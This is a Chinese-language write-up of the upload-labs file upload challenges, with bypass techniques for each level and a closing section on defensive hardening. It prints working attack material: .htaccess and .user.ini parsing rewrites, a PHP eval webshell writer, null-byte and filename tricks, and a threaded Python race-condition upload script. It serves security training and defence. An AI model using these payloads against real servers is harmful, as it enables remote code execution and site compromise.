文件上传漏洞原理和进阶利用

文件上传漏洞原理和进阶利用

原理

文件上传漏洞是指当一个应用程序允许用户上传文件时,没有对文件类型、文件内容和上传位置进行适当的验证和处理,从而导致恶意用户能够上传并执行恶意文件(如 Web Shell、木马病毒等)。

靶场练习

靶场地址:https://github.com/c0ny1/upload-labs

pass01-前端校验

观察页面源代码,其实本关是仅依赖前端js进行过滤,可以直接禁用js就能完成绕过。

image-20251215112027633

在火狐浏览器中,更改浏览器配置

网页栏输入about:config, 搜索javascript, 将javascript.enabled的值设置为false, 即表示浏览器禁止执行javascript代码

成功上传,并获得文件路径http://upload-labs/upload/upload.php

image-20251215112409164

访问文件路径为空白,说明成功解析

pass02-MIME绕过

检查源代码,发现是MIME检测,这里的$_FILES['upload_file']['type']就是从HTTP请求头中获取的MIME类型。系统只允许上传JPEG、PNG和GIF这三种图片格式的文件。

image-20251215115156339

那么可以通过抓包来更改HTTP请求头中的Content-Type字段,实现绕过

image-20251215115349052

将application/octet-stream改为image/jpeg即可

image-20251215115451006

pass03-上传可解析后缀

查看源代码,发现对文件强制转小写,过滤了.asp,.aspx,.php,.jsp后缀文件

image-20251216213507771

那么可以尝试后缀php1,php2,php3,php4.php5,phtmI, pht

image-20251216213819111

pass04 -(.htaccess)

先看源代码,发现都给禁用了

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

image-20251216214427148

但是.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个.htaccess,这个文件内容的意思是告诉apache当遇到qianxun.jpg文件时,按照php去解析,文件内容如下:

1
2
3
<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

分别将.htaccess文件和xxx.jpg文件上传,z最后成功解析

image-20251217160450369

pass05 -(黑名单验证,.user.ini.)

本关和上一关差不多,但是htaccess也被禁用了

image-20251217211405447

黑名单未过滤.user.ini文件(PHP 的用户级配置文件),为绕过留下入口。

可以使用.user.ini+ 图片马的组合实现绕过

上传.user.ini:配置 “自动包含图片马”

创建.user.ini文件,内容仅一行:

1
auto_prepend_file=666.jpg

告诉 PHP——只要执行当前目录下的任何 PHP 文件,都必须先自动包含666.jpg文件(无论666.jpg的后缀是什么,都会被当作 PHP 代码解析);

随后上传xxx.jpg

1
<?php phpinfo();?>

随后访问合法的PHP文件即可

image-20251217211927447

pass06-大小写绕过

这关把能禁的后缀都禁了,但是发现没有使用strtolower()函数

strtolower() 函数把字符串转换为小写

image-20251217212248226

直接上传web.Php即可

image-20251217212447521

pass07-空格绕过

image-20251217212650971

这关并没有用trim()去除空格,可以使用空格绕过黑名单

绕过逻辑:“空格伪装”+“系统自动去空格”

  1. 源码缺陷:未用trim()删除文件名末尾空格,导致php (带空格)后缀绕开黑名单;
  2. 系统特性:Windows 自动剔除末尾空格,将shell.php 还原为可解析的shell.php

image-20251217213319238

pass08-点号绕过

没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过

image-20251217213707432

  1. 源码缺陷:修复了空格漏洞(加trim()),但遗漏了点号漏洞(缺deldot()),导致php.(带点)后缀绕开黑名单;

  2. 系统特性:Windows 自动剔除文件名末尾的点号,将shell.php.还原为可解析的shell.php

    image-20251217213952681

    image-20251217214006529

pass09-特殊字符::$DATA绕过

本关卡未对::$DATA进行过滤

image-20251217214556573

利用 “源码未过滤::$DATA + Windows 自动剥离::$DATA” 的叠加效应:

  1. 构造文件名shell.php::$DATA → 源码未过滤,直接保存到 Windows 服务器;

  2. Windows 自动剥离::$DATA → 实际文件名变为shell.php

连接蚁剑,不能使用::$DATA

1701756863_656ebfbfe8d509516eeaa.png!small?1701756866995

pass10-点空格点绕过

这关对文件后缀处理其实很全面

小知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

image-20251217215230778

可利用「点 + 空格 + 点」的组合绕过,原理如下:

  1. 构造文件名:通过 Burp 修改为shell.php. .(点 + 空格 + 点);

  2. 源码处理:

    deldot() → 删末尾点 → shell.php.

    trim() → 删首尾空格 → shell.php..

  3. Windows 处理:自动删最后一个点 → shell.php

1701756885_656ebfd513435e3c2dfb8.png!small?1701756888423

pass11-双写绕过

这里的防御逻辑是会将黑名单的后缀替换为空

image-20251218105341205

str_ireplace() 函数不区分大小写,大小写绕过不适用,可以采用双写绕过

1701756936_656ec008e057e5bcdb17f.png!small?1701756940193

连接蚁剑成功,php文件成功被解析

1701756950_656ec01660a2bfecba28d.png!small?1701756953539

pass12-白名单绕过,00截断GET型

只能上传jpg,png,gif图片的方式

用GET的方式传参,要求是:随机数+时间参数 +.+可控的类型,保证传入的参数可控

image-20251218110915667

采用前提

  • PHP 版本:需低于 5.3.4(5.3.4 及以上版本修复了 %00 截断漏洞);
  • 配置要求:magic_quotes_gpc = Off(若开启,%00 会被转义为\%00,无法解码为 \0,截断失效);
  • 传参方式:GET(Pass-12)——GET 参数会被 Apache/PHP 自动 URL 解码,POST 参数需手动解码(对应 Pass-13)

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00

1701756974_656ec02e4e28b9cabf863.png!small?1701756977692

注意:连接蚁剑要将中间的字母数字都混杂内容清理掉,然后便可成功连接

1701756990_656ec03e51805e7a99d8d.png!small?1701756993566

pass13-白名单绕过,post 00截断

和前面一关差不多,但是post提交不会自动进行url解码

image-20251218113900818

在请求包中修改URL,进行解码即可

1701757013_656ec0555bc66ee9ffdb6.png!small?1701757016427

访问后发现,php文件能够被浏览器解析

1701757027_656ec06321a24eb4c6168.png!small?1701757030223

pass14-图片马上传

这关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

image-20251218142522630

使用 图片马 + 文件包含 绕过

制作图片马copy 1.png/b + xxx.php pass14.png

image-20251218143943292

然后这关要使用文件包含才能解析木马的执行

image-20251218144114836

因为上传图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接就可以了

构造的URL为include.php?file=upload/3420210320172751.png

然后用蚁剑连接

在这里插入图片描述

pass15-getimagesize图片马

这里和上一关差不多,通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

image-20251218150156871

pass16-exif_imagetype图片马

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

image-20251218152557631

pass17-二次渲染绕过

  • 文件头校验:通过imagecreatefromxxx()函数校验 —— 只有合法的 JPG/PNG/GIF 文件头(如 JPG 的FF D8 FF、PNG 的89 50 4E 47)才能被函数解析,普通 PHP 文件会直接报错;
  • 二次渲染:服务器会读取原始图片的像素数据,重新生成一张全新的图片并保存 —— 这会清除图片中所有非像素数据的恶意代码(比如普通 “图片马” 的 PHP 代码会被完全抹除)。

image-20251218162008353

可以找到图片二次渲染后 “不会被修改的字节区域”,将恶意 PHP 代码写入该区域,使渲染后的图片仍包含可执行代码

1701757197_656ec10d1269de6113d4b.png!small?1701757200275

用010Editorr打开,尝试将一句话插到此位置

1701757222_656ec1260e708b551d1ef.png!small?1701757226442

然后蚁剑连接

1701757230_656ec12ec27ce3ad792a3.png!small?1701757236030

pass18-条件竞争绕过

代码的核心防御逻辑是「先上传文件→校验文件合法性→合法则保留 / 非法则删除」,攻击者利用 “文件上传后→删除前的时间窗口”,通过高频请求访问该文件,实现恶意代码执行(即使文件最终被删除,只要请求命中时间窗口就会生效)。

1
2
3
4
攻击者上传恶意文件 → 服务器先保存文件到upload目录(此时文件已存在) → 服务器校验文件合法性 → 非法则删除文件
↑ ↓
└──────────────────┘
时间窗口:文件已存在但未被删除的极短时间(毫秒级)

image-20251218163617173

1、创建shell.php,内容为 “写文件脚本”(目的是在服务器生成永久木马,避免依赖原文件):

1
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

2、构造条件竞争请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import threading

# 靶机地址(替换为你的实际地址)
url = "http://192.168.164.129/upload-labs/upload/shell.php"
# 上传文件的请求(可选,也可手动上传+脚本仅访问)
upload_url = "http://192.168.164.129/upload-labs/Pass-18/index.php"
files = {"upload_file": open("shell.php", "rb")}
data = {"submit": "上传"}

# 定义访问函数(高频请求目标文件)
def attack():
while True:
try:
r = requests.get(url, timeout=0.5)
if r.status_code == 200:
print("命中时间窗口!文件执行成功")
break
except:
continue

# 定义上传函数(循环上传,确保文件持续被保存)
def upload():
while True:
try:
r = requests.post(upload_url, files=files, data=data, timeout=0.5)
except:
continue

# 启动多线程:1个线程上传,10个线程访问
t1 = threading.Thread(target=upload)
t1.start()
for i in range(10):
t = threading.Thread(target=attack)
t.start()

请求成功后,可访问写入的木马

1701757309_656ec17d306ae62c4905d.png!small?1701757313135

pass19-竞争条件

维度 Pass-18 Pass-19
文件名规则 保留原文件名 time() 重命名(可预判)
竞争窗口 上传后 → 校验前 重命名后 → 校验前
路径预判 原文件名(易) 时间戳(需实时计算)
核心依赖 先传后验 先传 + 重命名 + 后验

pass20-文件名绕过

系统没有对上传文件的内容进行验证,而是仅对用户输入的文件名进行了检查。具体来说,系统使用文件后缀名的黑名单进行过滤,但由于上传的文件名是用户可控的,这为绕过机制提供了可能性。此外,move_uploaded_file()函数还有一个特性,即它会忽略文件名末尾的 /.,这可以被利用来绕过后缀名的黑名单检查,从而上传恶意文件。
image-20251218165722201

upload-19.png改为upload-19.php/.,修改完直接放包

img

最后成功连接

测试连接

文件上传漏洞核心防护方法

一、核心校验:白名单 + 内容验证(杜绝伪装绕过)

  1. 后缀白名单(替代黑名单)

    • 仅放行业务必需后缀(如.jpg/.png/.pdf/.doc),拒绝所有未明确允许的类型;
    • 统一处理文件名:去空格、删末尾点号、转小写,避免php 「空格」、php.「点号」、Php「大小写」绕过。
  2. 文件内容 / 魔数校验(防图片马)

    • 校验文件头特征字节(魔数):JPG(FF D8 FF)、PNG(89 50 4E 47)、GIF(47 49 46 38);
    • 图片类文件二次渲染:重新生成图片(清除非像素区恶意代码),文本类文件扫描是否含<?php/<script>等执行代码。
  3. MIME 类型辅助校验

    验证Content-Type(如image/jpeg),避免攻击者篡改后缀但未改 MIME 的绕过。

二、流程管控:先验后传 + 随机重命名(防条件竞争 / 路径预判)

  1. 先验后传(核心)

    先在临时目录完成所有校验(后缀 / 内容 / 大小),校验通过再移动到上传目录;禁止 “先保存文件→再校验→非法删除” 的逻辑(避免条件竞争)。

  2. 强制随机重命名放弃原文件名,用md5(time().rand(1000,9999))+合法后缀

    命名,杜绝文件名预判(如 Pass-19 的时间戳预判)。

  3. 限制文件大小 / 权限

    • 按业务场景限制单文件大小(如图片≤5MB);
    • 上传目录仅赋予「读 / 写」权限,禁止「执行」权限(Linux:chmod 644 目录)。

三、服务器 / 环境加固(兜底阻断解析)

  1. 禁止上传目录解析脚本

    • Apache:上传目录.htaccess配置php_flag engine off,禁用 PHP 解析;
    • Nginx:配置上传目录location ~ \.php$ { deny all; },拒绝所有脚本解析。
  2. 上传目录隔离

    将上传文件存放在「非 Web 根目录」(如/data/upload),而非/var/www/html/upload,即使解析规则失效也无法 Web 访问。

  3. 环境配置加固

    • 升级 PHP 至 7.4+(修复 %00 截断、数组绕过等漏洞);
    • 禁用危险函数:eval/exec/system/passthru,关闭allow_url_fopen
    • 禁止.htaccess/.user.ini生效(阻断解析规则篡改)。

四、前端 / 参数防护(减少攻击面)

  1. 前端基础过滤

    JS 校验后缀、文件大小,拦截普通误操作(仅辅助,需后端兜底);

  2. 参数类型校验

    禁止数组传参(如filename[]),强制文件名为字符串类型,避免数组绕过(Pass-20)。

五、运维监控(长期保障)

  1. 日志审计:记录所有上传请求(文件名、IP、时间),审计高频上传、特殊字符文件名;
  2. 定期扫描:检测上传目录是否存在.php/.asp等危险后缀文件;
  3. 漏洞测试:定期用图片马、%00 截断、数组传参等方式验证防护有效性。